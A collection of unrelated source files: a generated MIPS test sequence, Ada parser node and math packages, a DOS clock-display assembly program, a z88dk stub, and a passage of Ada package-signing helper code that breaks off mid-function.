mtlo $2
bne $2, $2, TAG555
srlv $4, $2, $2
TAG555:
sll $0, $0, 0
sll $0, $0, 0
addu $3, $4, $4
mthi $3
TAG556:
mflo $3
sll $0, $0, 0
bne $3, $3, TAG557
divu $3, $3
TAG557:
lui $1, 9
slt $4, $3, $3
lw $2, 0($4)
sh $3, 0($4)
TAG558:
bgez $2, TAG559
lui $4, 13
mfhi $3
mtlo $3
TAG559:
sll $0, $0, 0
lui $1, 6
mfhi $1
blez $3, TAG560
TAG560:
mtlo $1
lui $3, 9
beq $1, $1, TAG561
srlv $1, $3, $3
TAG561:
mfhi $4
mflo $1
lui $3, 4
sw $1, 0($1)
TAG562:
subu $1, $3, $3
xori $2, $1, 6
bne $2, $2, TAG563
andi $2, $2, 8
TAG563:
mtlo $2
mtlo $2
mfhi $4
addiu $1, $4, 15
TAG564:
mthi $1
bgtz $1, TAG565
mfhi $1
mtlo $1
TAG565:
mtlo $1
lbu $2, 0($1)
xori $3, $2, 8
blez $1, TAG566
TAG566:
mthi $3
mflo $4
div $3, $4
multu $3, $4
TAG567:
bltz $4, TAG568
mult $4, $4
lui $2, 7
blez $4, TAG568
TAG568:
sll $0, $0, 0
bne $1, $2, TAG569
sll $0, $0, 0
divu $1, $2
TAG569:
mtlo $1
multu $1, $1
ori $2, $1, 15
beq $2, $2, TAG570
TAG570:
srav $2, $2, $2
ori $4, $2, 3
lui $4, 2
addiu $1, $2, 0
TAG571:
lw $1, 0($1)
blez $1, TAG572
mfhi $4
bne $1, $4, TAG572
TAG572:
sh $4, 0($4)
sw $4, 0($4)
sh $4, 0($4)
bgtz $4, TAG573
TAG573:
ori $2, $4, 9
multu $4, $4
mtlo $4
subu $1, $4, $2
TAG574:
bne $1, $1, TAG575
div $1, $1
blez $1, TAG575
mthi $1
TAG575:
blez $1, TAG576
lui $1, 13
mflo $2
sh $1, 0($1)
TAG576:
sb $2, 0($2)
nor $2, $2, $2
sh $2, 10($2)
mtlo $2
TAG577:
beq $2, $2, TAG578
subu $4, $2, $2
xor $1, $4, $4
mthi $1
TAG578:
srl $2, $1, 0
blez $1, TAG579
sll $0, $0, 0
lui $3, 4
TAG579:
lui $3, 2
div $3, $3
ori $3, $3, 15
divu $3, $3
TAG580:
mfhi $2
lh $3, 0($2)
sh $3, 10($3)
sb $2, 10($3)
TAG581:
divu $3, $3
mtlo $3
div $3, $3
mfhi $4
TAG582:
bne $4, $4, TAG583
slti $2, $4, 9
bne $2, $4, TAG583
mflo $1
TAG583:
sb $1, 0($1)
beq $1, $1, TAG584
lb $4, 0($1)
mtlo $1
TAG584:
mfhi $4
blez $4, TAG585
sb $4, 0($4)
bgtz $4, TAG585
TAG585:
lui $1, 11
mfhi $1
mult $1, $1
multu $4, $4
TAG586:
bgez $1, TAG587
mtlo $1
lhu $2, 0($1)
beq $2, $1, TAG587
TAG587:
mfhi $2
bne $2, $2, TAG588
mult $2, $2
multu $2, $2
TAG588:
lui $3, 10
bne $2, $2, TAG589
sltu $3, $2, $2
mflo $1
TAG589:
bltz $1, TAG590
mfhi $3
mtlo $1
lui $2, 9
TAG590:
mtlo $2
ori $2, $2, 1
multu $2, $2
and $1, $2, $2
TAG591:
multu $1, $1
lui $2, 15
ori $2, $1, 7
mflo $4
TAG592:
bgez $4, TAG593
subu $3, $4, $4
multu $3, $3
mthi $3
TAG593:
lui $1, 4
bltz $3, TAG594
sw $1, 0($3)
lui $3, 10
TAG594:
sll $0, $0, 0
mult $3, $3
mflo $3
bne $3, $3, TAG595
TAG595:
lui $3, 0
lui $1, 14
lui $3, 1
addiu $3, $3, 11
TAG596:
sll $0, $0, 0
beq $3, $3, TAG597
sll $4, $3, 9
sw $4, 0($4)
TAG597:
beq $4, $4, TAG598
sltiu $4, $4, 10
bne $4, $4, TAG598
multu $4, $4
TAG598:
lb $3, 0($4)
mtlo $4
multu $4, $4
blez $3, TAG599
TAG599:
xori $3, $3, 8
mflo $3
multu $3, $3
mult $3, $3
TAG600:
srl $1, $3, 15
lbu $4, 0($1)
lui $3, 2
sll $0, $0, 0
TAG601:
beq $3, $3, TAG602
srav $3, $3, $3
mthi $3
blez $3, TAG602
TAG602:
xor $3, $3, $3
sllv $1, $3, $3
mtlo $3
mtlo $3
TAG603:
multu $1, $1
or $2, $1, $1
bgez $2, TAG604
mfhi $1
TAG604:
mthi $1
bltz $1, TAG605
sra $2, $1, 15
mthi $2
TAG605:
lb $4, 0($2)
mult $4, $2
mflo $2
sub $1, $2, $2
TAG606:
mthi $1
bne $1, $1, TAG607
lui $1, 2
bgtz $1, TAG607
TAG607:
sll $0, $0, 0
beq $1, $1, TAG608
sll $0, $0, 0
divu $1, $3
TAG608:
bne $3, $3, TAG609
sw $3, 0($3)
bgtz $3, TAG609
lb $1, 0($3)
TAG609:
lui $4, 13
mtlo $4
mflo $4
and $1, $1, $1
TAG610:
mflo $4
sll $0, $0, 0
div $4, $4
mthi $1
TAG611:
xor $4, $2, $2
sll $2, $2, 10
multu $2, $4
sw $2, 0($2)
TAG612:
lw $4, 0($2)
sra $4, $4, 2
lbu $1, 0($4)
mult $4, $4
TAG613:
multu $1, $1
mthi $1
bltz $1, TAG614
addu $4, $1, $1
TAG614:
mult $4, $4
sllv $3, $4, $4
mflo $1
lui $1, 4
TAG615:
lui $4, 10
bltz $1, TAG616
nor $2, $4, $4
sll $0, $0, 0
TAG616:
sll $0, $0, 0
sll $0, $0, 0
beq $2, $1, TAG617
multu $2, $1
TAG617:
xor $1, $2, $2
srav $3, $1, $2
bltz $3, TAG618
addu $2, $3, $3
TAG618:
slti $3, $2, 5
lbu $4, 0($3)
bgtz $3, TAG619
sltu $3, $3, $4
TAG619:
blez $3, TAG620
lb $2, 0($3)
bne $2, $3, TAG620
sh $2, 0($2)
TAG620:
mflo $3
bgez $3, TAG621
mfhi $1
mfhi $4
TAG621:
lui $4, 4
mfhi $3
addu $3, $4, $4
mtlo $4
TAG622:
mflo $3
sll $0, $0, 0
srlv $1, $3, $3
mflo $3
TAG623:
srlv $2, $3, $3
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG624:
sll $0, $0, 0
nor $2, $4, $4
lui $2, 11
nor $3, $4, $2
TAG625:
sll $0, $0, 0
sll $0, $0, 0
sltiu $2, $3, 6
sltiu $3, $2, 5
TAG626:
sb $3, 0($3)
slt $2, $3, $3
slt $1, $2, $2
div $2, $3
TAG627:
bne $1, $1, TAG628
multu $1, $1
lw $1, 0($1)
sra $4, $1, 14
TAG628:
lh $2, 0($4)
xor $1, $4, $2
srl $1, $2, 2
addiu $2, $2, 13
TAG629:
sw $2, -269($2)
lhu $4, -269($2)
bgtz $4, TAG630
sltu $2, $4, $2
TAG630:
mtlo $2
lui $3, 3
mult $3, $3
lui $2, 1
TAG631:
mflo $3
lb $2, 0($3)
mflo $2
beq $2, $3, TAG632
TAG632:
sb $2, 0($2)
lbu $4, 0($2)
mfhi $4
srlv $2, $4, $4
TAG633:
sb $2, 0($2)
mflo $1
multu $1, $1
lhu $3, 0($1)
TAG634:
andi $3, $3, 11
xor $1, $3, $3
lui $1, 3
sub $4, $3, $3
TAG635:
mfhi $1
mflo $4
bne $1, $4, TAG636
lhu $3, 0($1)
TAG636:
sh $3, -256($3)
mtlo $3
lui $4, 13
lui $4, 5
TAG637:
xori $3, $4, 3
lui $1, 9
sll $0, $0, 0
subu $1, $1, $3
TAG638:
sra $2, $1, 2
mtlo $2
xor $1, $1, $2
sll $0, $0, 0
TAG639:
andi $3, $1, 10
lui $3, 5
blez $3, TAG640
xori $2, $1, 3
TAG640:
andi $4, $2, 3
mult $2, $2
mtlo $4
bne $4, $2, TAG641
TAG641:
sb $4, 0($4)
divu $4, $4
lb $3, 0($4)
addiu $4, $3, 3
TAG642:
mtlo $4
bltz $4, TAG643
lui $2, 10
mflo $4
TAG643:
addiu $1, $4, 14
lbu $1, 0($4)
bltz $1, TAG644
lui $3, 14
TAG644:
beq $3, $3, TAG645
mfhi $2
bgtz $2, TAG645
mfhi $4
TAG645:
lui $4, 13
mflo $1
mtlo $1
mthi $4
TAG646:
lui $2, 13
bne $1, $1, TAG647
andi $4, $2, 10
sra $3, $1, 13
TAG647:
xori $2, $3, 3
bgez $2, TAG648
sllv $3, $2, $3
lui $4, 14
TAG648:
sb $4, 0($4)
lui $2, 9
mflo $3
bne $3, $2, TAG649
TAG649:
xori $4, $3, 0
blez $3, TAG650
lui $2, 8
sll $0, $0, 0
TAG650:
bne $2, $2, TAG651
mflo $1
srl $3, $1, 9
mfhi $4
TAG651:
mult $4, $4
addu $3, $4, $4
and $2, $3, $3
lui $4, 11
TAG652:
mtlo $4
mtlo $4
sll $0, $0, 0
sll $0, $0, 0
TAG653:
xori $3, $1, 5
divu $1, $3
blez $1, TAG654
divu $1, $3
TAG654:
mtlo $3
div $3, $3
and $4, $3, $3
mthi $3
TAG655:
mflo $4
mthi $4
bne $4, $4, TAG656
srav $2, $4, $4
TAG656:
lui $2, 5
lui $1, 4
mfhi $4
beq $2, $4, TAG657
TAG657:
divu $4, $4
lui $2, 12
lui $4, 4
and $1, $4, $4
TAG658:
mflo $4
sll $0, $0, 0
bgtz $4, TAG659
lbu $1, 0($4)
TAG659:
mflo $2
lbu $2, 0($1)
lb $1, 0($1)
srav $2, $2, $2
TAG660:
lui $2, 2
sll $0, $0, 0
div $2, $2
bne $2, $2, TAG661
TAG661:
slt $2, $2, $2
lui $1, 4
bne $1, $1, TAG662
mtlo $1
TAG662:
beq $1, $1, TAG663
div $1, $1
lw $1, 0($1)
beq $1, $1, TAG663
TAG663:
sll $0, $0, 0
or $2, $1, $3
srav $3, $1, $3
nor $4, $3, $2
TAG664:
blez $4, TAG665
nor $1, $4, $4
beq $1, $1, TAG665
lw $1, 0($1)
TAG665:
bne $1, $1, TAG666
mfhi $4
xori $3, $4, 5
mthi $4
TAG666:
lui $1, 14
mthi $3
lui $4, 12
mfhi $4
TAG667:
lui $1, 0
bne $1, $4, TAG668
sb $1, 0($4)
mthi $1
TAG668:
lb $3, 0($1)
lb $1, 0($3)
bgtz $3, TAG669
lhu $1, 0($3)
TAG669:
lui $3, 4
bltz $3, TAG670
lui $1, 9
mflo $3
TAG670:
sb $3, 0($3)
nor $3, $3, $3
mult $3, $3
mfhi $3
TAG671:
lui $4, 5
multu $4, $3
beq $3, $4, TAG672
mfhi $2
TAG672:
bgez $2, TAG673
mult $2, $2
beq $2, $2, TAG673
sll $1, $2, 13
TAG673:
sllv $1, $1, $1
sll $0, $0, 0
or $1, $1, $1
addiu $1, $1, 9
TAG674:
or $3, $1, $1
lui $2, 7
lui $3, 2
lui $2, 8
TAG675:
mflo $4
div $4, $2
mthi $2
and $3, $4, $4
TAG676:
srl $4, $3, 9
lui $1, 12
subu $1, $1, $4
lw $4, 0($3)
TAG677:
mtlo $4
mtlo $4
sb $4, -256($4)
subu $3, $4, $4
TAG678:
multu $3, $3
mult $3, $3
lui $2, 5
beq $3, $3, TAG679
TAG679:
lui $2, 5
beq $2, $2, TAG680
mthi $2
lb $1, 0($2)
TAG680:
sll $2, $1, 13
bgez $1, TAG681
mflo $2
lui $2, 9
TAG681:
lui $4, 14
beq $2, $4, TAG682
lui $3, 5
beq $2, $4, TAG682
TAG682:
sll $0, $0, 0
beq $3, $3, TAG683
sll $0, $0, 0
lbu $3, 0($3)
TAG683:
subu $1, $3, $3
slti $1, $3, 10
sll $0, $0, 0
sw $1, 0($1)
TAG684:
blez $1, TAG685
lui $2, 10
bne $1, $2, TAG685
sub $1, $2, $2
TAG685:
mthi $1
lb $1, 0($1)
sw $1, 0($1)
mtlo $1
TAG686:
lhu $4, 0($1)
lui $1, 11
lui $3, 5
bltz $4, TAG687
TAG687:
addu $2, $3, $3
lui $4, 12
mtlo $3
srl $2, $3, 2
TAG688:
bltz $2, TAG689
lui $1, 8
lui $1, 14
addu $1, $1, $1
TAG689:
bgtz $1, TAG690
lui $1, 13
mthi $1
beq $1, $1, TAG690
TAG690:
lui $2, 12
srav $3, $2, $2
mult $1, $1
divu $1, $3
TAG691:
mthi $3
divu $3, $3
sll $0, $0, 0
srav $4, $4, $3
TAG692:
nor $4, $4, $4
mthi $4
lui $4, 4
sll $0, $0, 0
TAG693:
mfhi $2
mthi $2
mflo $2
divu $2, $4
TAG694:
lui $2, 6
mflo $4
subu $3, $2, $2
sll $0, $0, 0
TAG695:
mfhi $2
sw $2, 0($3)
mult $2, $3
lh $4, 0($3)
TAG696:
bne $4, $4, TAG697
mtlo $4
lb $3, 0($4)
bne $3, $3, TAG697
TAG697:
srl $1, $3, 0
slti $3, $3, 11
beq $3, $3, TAG698
mult $3, $1
TAG698:
lui $2, 12
sb $3, 0($3)
mfhi $3
mtlo $3
TAG699:
lb $1, 0($3)
divu $3, $1
blez $3, TAG700
addiu $1, $1, 8
TAG700:
sb $1, 0($1)
lui $2, 15
multu $2, $1
lui $3, 0
TAG701:
beq $3, $3, TAG702
mtlo $3
sh $3, 0($3)
sw $3, 0($3)
TAG702:
bltz $3, TAG703
mfhi $4
sw $3, 0($3)
lui $4, 7
TAG703:
addu $3, $4, $4
slt $1, $4, $3
bne $4, $1, TAG704
multu $4, $1
TAG704:
sltiu $3, $1, 12
mflo $2
sra $4, $1, 1
sb $2, 0($1)
TAG705:
bltz $4, TAG706
lui $3, 2
sh $3, 0($4)
mthi $3
TAG706:
beq $3, $3, TAG707
sll $0, $0, 0
sh $3, 0($3)
sra $2, $3, 9
TAG707:
mflo $4
addu $4, $2, $2
lui $1, 2
sll $0, $0, 0
TAG708:
mfhi $1
addu $3, $1, $1
bgtz $1, TAG709
mflo $4
TAG709:
mfhi $3
xori $4, $4, 0
sll $0, $0, 0
multu $4, $4
TAG710:
sltiu $3, $3, 0
beq $3, $3, TAG711
sra $4, $3, 11
xor $4, $3, $3
TAG711:
mfhi $3
mult $3, $3
sw $3, 0($4)
lb $3, 0($3)
TAG712:
mflo $4
mtlo $4
sh $4, 0($3)
lb $4, 0($3)
TAG713:
and $1, $4, $4
lui $1, 15
mtlo $1
mflo $3
TAG714:
multu $3, $3
mthi $3
lui $4, 11
mflo $2
TAG715:
lw $2, 0($2)
lui $4, 5
sw $2, -2401($2)
div $2, $2
TAG716:
sll $0, $0, 0
subu $4, $4, $4
slti $4, $4, 1
addiu $4, $4, 10
TAG717:
bgtz $4, TAG718
mfhi $4
bgez $4, TAG718
sh $4, 0($4)
TAG718:
addu $4, $4, $4
sll $2, $4, 3
mflo $3
lui $3, 5
TAG719:
mtlo $3
subu $1, $3, $3
multu $1, $1
sll $0, $0, 0
TAG720:
sll $0, $0, 0
sltiu $1, $3, 15
div $1, $3
slti $2, $3, 15
TAG721:
srl $4, $2, 13
bgez $4, TAG722
mfhi $3
sw $2, 0($4)
TAG722:
sll $4, $3, 5
beq $4, $4, TAG723
mthi $4
blez $4, TAG723
TAG723:
sll $4, $4, 12
lw $4, 0($4)
slti $1, $4, 12
lui $4, 0
TAG724:
mthi $4
addi $2, $4, 2
lui $3, 7
beq $3, $4, TAG725
TAG725:
multu $3, $3
beq $3, $3, TAG726
mtlo $3
lbu $3, 0($3)
TAG726:
srl $2, $3, 9
subu $4, $2, $2
mthi $2
sb $3, 0($4)
TAG727:
mflo $3
mtlo $3
sh $3, 0($4)
mflo $2
TAG728:
sll $0, $0, 0
sll $0, $0, 0
bltz $2, TAG729
lw $3, 0($4)
TAG729:
sltiu $2, $3, 5
sb $3, 0($3)
sb $2, 0($2)
lhu $1, 0($3)
TAG730:
beq $1, $1, TAG731
div $1, $1
lhu $1, 0($1)
mfhi $2
TAG731:
sb $2, 0($2)
srlv $3, $2, $2
srl $1, $3, 10
bne $3, $1, TAG732
TAG732:
addi $3, $1, 10
lui $4, 3
bne $4, $4, TAG733
lui $3, 12
TAG733:
mthi $3
lui $3, 0
bgtz $3, TAG734
subu $4, $3, $3
TAG734:
srav $2, $4, $4
sh $4, 0($2)
lb $4, 0($4)
beq $2, $4, TAG735
TAG735:
lui $4, 9
bgez $4, TAG736
mflo $2
sh $4, 0($4)
TAG736:
addiu $2, $2, 8
divu $2, $2
lb $3, 0($2)
subu $4, $3, $2
TAG737:
lui $4, 11
beq $4, $4, TAG738
mflo $2
blez $4, TAG738
TAG738:
mthi $2
bne $2, $2, TAG739
lbu $2, 0($2)
lui $3, 3
TAG739:
lui $2, 14
srl $2, $2, 5
divu $2, $2
mflo $4
TAG740:
bgtz $4, TAG741
mflo $4
mthi $4
slti $2, $4, 4
TAG741:
sll $0, $0, 0
beq $1, $1, TAG742
sltiu $2, $1, 6
sw $2, 0($2)
TAG742:
sb $2, 0($2)
lbu $1, 0($2)
or $4, $1, $1
lb $4, 0($1)
TAG743:
multu $4, $4
lb $2, 0($4)
bne $4, $2, TAG744
srav $4, $4, $2
TAG744:
lb $3, 0($4)
mtlo $4
multu $3, $3
bgtz $4, TAG745
TAG745:
mflo $1
bne $1, $1, TAG746
lh $4, 0($3)
xor $4, $1, $3
TAG746:
bne $4, $4, TAG747
sw $4, 0($4)
mflo $4
bgtz $4, TAG747
TAG747:
mtlo $4
mfhi $3
beq $4, $4, TAG748
mtlo $4
TAG748:
srav $1, $3, $3
beq $1, $3, TAG749
addiu $4, $3, 6
mfhi $1
TAG749:
beq $1, $1, TAG750
sra $4, $1, 0
mflo $2
sltiu $3, $2, 2
TAG750:
nop
nop
test_end:
beq $0, $0, test_end
nop |
source/nodes/program-nodes-formal_derived_type_definitions.ads | optikos/oasis | 0 | 13769 | -- Copyright (c) 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Program.Lexical_Elements;
with Program.Elements.Expressions;
with Program.Elements.Formal_Derived_Type_Definitions;
with Program.Element_Visitors;
package Program.Nodes.Formal_Derived_Type_Definitions is
pragma Preelaborate;
type Formal_Derived_Type_Definition is
new Program.Nodes.Node
and Program.Elements.Formal_Derived_Type_Definitions
.Formal_Derived_Type_Definition
and Program.Elements.Formal_Derived_Type_Definitions
.Formal_Derived_Type_Definition_Text
with private;
function Create
(Abstract_Token : Program.Lexical_Elements.Lexical_Element_Access;
Limited_Token : Program.Lexical_Elements.Lexical_Element_Access;
Synchronized_Token : Program.Lexical_Elements.Lexical_Element_Access;
New_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Subtype_Mark : not null Program.Elements.Expressions
.Expression_Access;
And_Token : Program.Lexical_Elements.Lexical_Element_Access;
Progenitors : Program.Elements.Expressions
.Expression_Vector_Access;
With_Token : Program.Lexical_Elements.Lexical_Element_Access;
Private_Token : Program.Lexical_Elements.Lexical_Element_Access)
return Formal_Derived_Type_Definition;
type Implicit_Formal_Derived_Type_Definition is
new Program.Nodes.Node
and Program.Elements.Formal_Derived_Type_Definitions
.Formal_Derived_Type_Definition
with private;
function Create
(Subtype_Mark : not null Program.Elements.Expressions
.Expression_Access;
Progenitors : Program.Elements.Expressions
.Expression_Vector_Access;
Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False;
Has_Abstract : Boolean := False;
Has_Limited : Boolean := False;
Has_Synchronized : Boolean := False;
Has_With_Private : Boolean := False)
return Implicit_Formal_Derived_Type_Definition
with Pre =>
Is_Part_Of_Implicit or Is_Part_Of_Inherited or Is_Part_Of_Instance;
private
type Base_Formal_Derived_Type_Definition is
abstract new Program.Nodes.Node
and Program.Elements.Formal_Derived_Type_Definitions
.Formal_Derived_Type_Definition
with record
Subtype_Mark : not null Program.Elements.Expressions.Expression_Access;
Progenitors : Program.Elements.Expressions.Expression_Vector_Access;
end record;
procedure Initialize
(Self : aliased in out Base_Formal_Derived_Type_Definition'Class);
overriding procedure Visit
(Self : not null access Base_Formal_Derived_Type_Definition;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class);
overriding function Subtype_Mark
(Self : Base_Formal_Derived_Type_Definition)
return not null Program.Elements.Expressions.Expression_Access;
overriding function Progenitors
(Self : Base_Formal_Derived_Type_Definition)
return Program.Elements.Expressions.Expression_Vector_Access;
overriding function Is_Formal_Derived_Type_Definition_Element
(Self : Base_Formal_Derived_Type_Definition)
return Boolean;
overriding function Is_Formal_Type_Definition_Element
(Self : Base_Formal_Derived_Type_Definition)
return Boolean;
overriding function Is_Definition_Element
(Self : Base_Formal_Derived_Type_Definition)
return Boolean;
type Formal_Derived_Type_Definition is
new Base_Formal_Derived_Type_Definition
and Program.Elements.Formal_Derived_Type_Definitions
.Formal_Derived_Type_Definition_Text
with record
Abstract_Token : Program.Lexical_Elements.Lexical_Element_Access;
Limited_Token : Program.Lexical_Elements.Lexical_Element_Access;
Synchronized_Token : Program.Lexical_Elements.Lexical_Element_Access;
New_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
And_Token : Program.Lexical_Elements.Lexical_Element_Access;
With_Token : Program.Lexical_Elements.Lexical_Element_Access;
Private_Token : Program.Lexical_Elements.Lexical_Element_Access;
end record;
overriding function To_Formal_Derived_Type_Definition_Text
(Self : aliased in out Formal_Derived_Type_Definition)
return Program.Elements.Formal_Derived_Type_Definitions
.Formal_Derived_Type_Definition_Text_Access;
overriding function Abstract_Token
(Self : Formal_Derived_Type_Definition)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function Limited_Token
(Self : Formal_Derived_Type_Definition)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function Synchronized_Token
(Self : Formal_Derived_Type_Definition)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function New_Token
(Self : Formal_Derived_Type_Definition)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function And_Token
(Self : Formal_Derived_Type_Definition)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function With_Token
(Self : Formal_Derived_Type_Definition)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function Private_Token
(Self : Formal_Derived_Type_Definition)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function Has_Abstract
(Self : Formal_Derived_Type_Definition)
return Boolean;
overriding function Has_Limited
(Self : Formal_Derived_Type_Definition)
return Boolean;
overriding function Has_Synchronized
(Self : Formal_Derived_Type_Definition)
return Boolean;
overriding function Has_With_Private
(Self : Formal_Derived_Type_Definition)
return Boolean;
type Implicit_Formal_Derived_Type_Definition is
new Base_Formal_Derived_Type_Definition
with record
Is_Part_Of_Implicit : Boolean;
Is_Part_Of_Inherited : Boolean;
Is_Part_Of_Instance : Boolean;
Has_Abstract : Boolean;
Has_Limited : Boolean;
Has_Synchronized : Boolean;
Has_With_Private : Boolean;
end record;
overriding function To_Formal_Derived_Type_Definition_Text
(Self : aliased in out Implicit_Formal_Derived_Type_Definition)
return Program.Elements.Formal_Derived_Type_Definitions
.Formal_Derived_Type_Definition_Text_Access;
overriding function Is_Part_Of_Implicit
(Self : Implicit_Formal_Derived_Type_Definition)
return Boolean;
overriding function Is_Part_Of_Inherited
(Self : Implicit_Formal_Derived_Type_Definition)
return Boolean;
overriding function Is_Part_Of_Instance
(Self : Implicit_Formal_Derived_Type_Definition)
return Boolean;
overriding function Has_Abstract
(Self : Implicit_Formal_Derived_Type_Definition)
return Boolean;
overriding function Has_Limited
(Self : Implicit_Formal_Derived_Type_Definition)
return Boolean;
overriding function Has_Synchronized
(Self : Implicit_Formal_Derived_Type_Definition)
return Boolean;
overriding function Has_With_Private
(Self : Implicit_Formal_Derived_Type_Definition)
return Boolean;
end Program.Nodes.Formal_Derived_Type_Definitions;
|
Program06/Prog06.asm | jasarsoft/asm-example | 1 | 11341 | ;Zadatak 6: Vrijeme ispisa iz memorije racunara
Prog06 Segment ;definicija segmenta
assume CS:Prog06, DS:Prog06 ;pocetak CS i DS segmenta
Start: mov ax, Prog06 ;pocetak na DS
mov ds, ax
mov ax, 0b800h ;adreas video memorije u ES registru
mov es, ax
cikl: mov ax, 0200h ;citanje vremena iz sistemsog casovnika
int 1ah
call vrisp ;ispisivanje vremena
mov ax, 0100h ;taster
int 16h
jz cikl ;ne, nazad
mov ax, 0 ;iscita vrijednost
int 16h
mov ax, 4c00h ;nazad
int 21h
vrisp Proc ;program za ispisivanje vremena
mov di, 0 ;monitor, lijevo gore
mov ah, 15 ;crna pozadina bijeli karakter
mov bx, cx ;bx <== sati, minuti
call isp1 ;sati na ekranu
inc di ;mjesto za separator
inc di
call isp1 ;minute na ekranu
inc di ;spearator
inc di
mov bh, dh ;bh <== sekunde
call isp1 ;sekunde na ekrnau
mov al, "-" ;separator
mov es:[di-6], ax ;na odgovarajuce pozicije
mov es:[di-12], ax
ret ;povratak na galvni program
vrisp Endp ;kraj podrograma
;ISP1 Procedura ----------------
isp1 Proc ;podprogram ispis 1
mov cx, 2 ;ispisivanje 2 cifre
cikl1: push cx
mov cx, 4 ;BCD broj (4 bita)
mov al, 0
cikl2: shl bx, 1 ;dio BX registra (BCD broj)
rcl al, 1
loop cikl2
or al, 30h ;bin ==> ASCII
mov es:[di], ax ;u video memoriju
inc di ;sljedeca pozicija
inc di
pop cx ;druga cifra
loop cikl1
ret ;nazad na program odakle je pozvan
isp1 Endp
Prog06 Ends ;kraj segmenta
End Start |
source/numerics/machine-pc-freebsd/s-llelfu.adb | ytomino/drake | 33 | 19599 | package body System.Long_Long_Elementary_Functions is
function Fast_Log (X : Long_Long_Float) return Long_Long_Float is
begin
return Long_Long_Float (Fast_Log (Long_Float (X)));
end Fast_Log;
function Fast_Exp (X : Long_Long_Float) return Long_Long_Float is
begin
return Long_Long_Float (Fast_Exp (Long_Float (X)));
end Fast_Exp;
function Fast_Pow (Left, Right : Long_Long_Float) return Long_Long_Float is
begin
return Long_Long_Float (
Fast_Pow (Long_Float (Left), Long_Float (Right)));
end Fast_Pow;
function Fast_Sinh (X : Long_Long_Float) return Long_Long_Float is
begin
return Long_Long_Float (Fast_Sinh (Long_Float (X)));
end Fast_Sinh;
function Fast_Cosh (X : Long_Long_Float) return Long_Long_Float is
begin
return Long_Long_Float (Fast_Cosh (Long_Float (X)));
end Fast_Cosh;
function Fast_Tanh (X : Long_Long_Float) return Long_Long_Float is
begin
return Long_Long_Float (Fast_Tanh (Long_Float (X)));
end Fast_Tanh;
function Fast_Arcsinh (X : Long_Long_Float) return Long_Long_Float is
begin
return Long_Long_Float (Fast_Arcsinh (Long_Float (X)));
end Fast_Arcsinh;
function Fast_Arccosh (X : Long_Long_Float) return Long_Long_Float is
begin
return Long_Long_Float (Fast_Arccosh (Long_Float (X)));
end Fast_Arccosh;
function Fast_Arctanh (X : Long_Long_Float) return Long_Long_Float is
begin
return Long_Long_Float (Fast_Arctanh (Long_Float (X)));
end Fast_Arctanh;
end System.Long_Long_Elementary_Functions;
|
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_round.asm | ahjelm/z88dk | 640 | 4621 | <gh_stars>100-1000
SECTION code_fp_am9511
PUBLIC cam32_sccz80_round
EXTERN _am9511_round
defc cam32_sccz80_round = _am9511_round
|
src/repository.adb | kraileth/ravenadm | 18 | 28173 | <filename>src/repository.adb<gh_stars>10-100
-- This file is covered by the Internet Software Consortium (ISC) License
-- Reference: ../License.txt
with Unix;
with Parameters;
with HelperText;
with File_Operations;
with PortScan.Scan;
with PortScan.Operations;
with Ada.Characters.Latin_1;
with Ada.Directories;
with Ada.Exceptions;
with Ada.Text_IO;
package body Repository is
package PM renames Parameters;
package HT renames HelperText;
package FOP renames File_Operations;
package LAT renames Ada.Characters.Latin_1;
package DIR renames Ada.Directories;
package EX renames Ada.Exceptions;
package TIO renames Ada.Text_IO;
--------------------------------------------------------------------------------------------
-- signing_command
--------------------------------------------------------------------------------------------
function signing_command return String
is
filename : constant String := get_file_prefix & "-signing_command";
begin
return FOP.head_n1 (filename);
end signing_command;
--------------------------------------------------------------------------------------------
-- profile_fingerprint
--------------------------------------------------------------------------------------------
function profile_fingerprint return String
is
filename : constant String := get_file_prefix & "-fingerprint";
begin
return FOP.head_n1 (filename);
end profile_fingerprint;
--------------------------------------------------------------------------------------------
-- valid_signing_command
--------------------------------------------------------------------------------------------
function valid_signing_command return Boolean
is
file_prefix : constant String := get_file_prefix;
fingerprint : constant String := file_prefix & "fingerprint";
ext_command : constant String := file_prefix & "signing_command";
found_finger : constant Boolean := DIR.Exists (fingerprint);
found_command : constant Boolean := DIR.Exists (ext_command);
begin
if found_finger and then found_command then
if HT.IsBlank (FOP.head_n1 (fingerprint)) or else
HT.IsBlank (FOP.head_n1 (ext_command))
then
TIO.Put_Line ("At least one of the profile signing command files is blank");
TIO.Put_Line (sorry);
return False;
end if;
return True;
end if;
if found_finger then
TIO.Put_Line ("The profile fingerprint was found but not the signing command");
TIO.Put_Line (sorry);
elsif found_command then
TIO.Put_Line ("The profile signing command was found but not the fingerprint");
TIO.Put_Line (sorry);
end if;
return False;
end valid_signing_command;
--------------------------------------------------------------------------------------------
-- acceptable_RSA_signing_support
--------------------------------------------------------------------------------------------
function acceptable_RSA_signing_support return Boolean
is
file_prefix : constant String := get_file_prefix;
key_private : constant String := file_prefix & "private.key";
key_public : constant String := file_prefix & "public.key";
found_private : constant Boolean := DIR.Exists (key_private);
found_public : constant Boolean := DIR.Exists (key_public);
begin
if not found_private and then not found_public then
return True;
end if;
if found_public and then not found_private then
TIO.Put_Line ("A public RSA key file has been found without a " &
"corresponding private key file.");
TIO.Put_Line (sorry);
return True;
end if;
if found_private and then not found_public then
TIO.Put_Line ("A private RSA key file has been found without a " &
"corresponding public key file.");
TIO.Put_Line (sorry);
return True;
end if;
declare
mode : constant String := file_permissions (key_private);
begin
if mode /= "400" then
TIO.Put_Line ("The private RSA key file has insecure file permissions (" & mode & ")");
TIO.Put_Line ("Please change the file mode of " & key_private &
" to 400 before continuing.");
return False;
end if;
end;
return True;
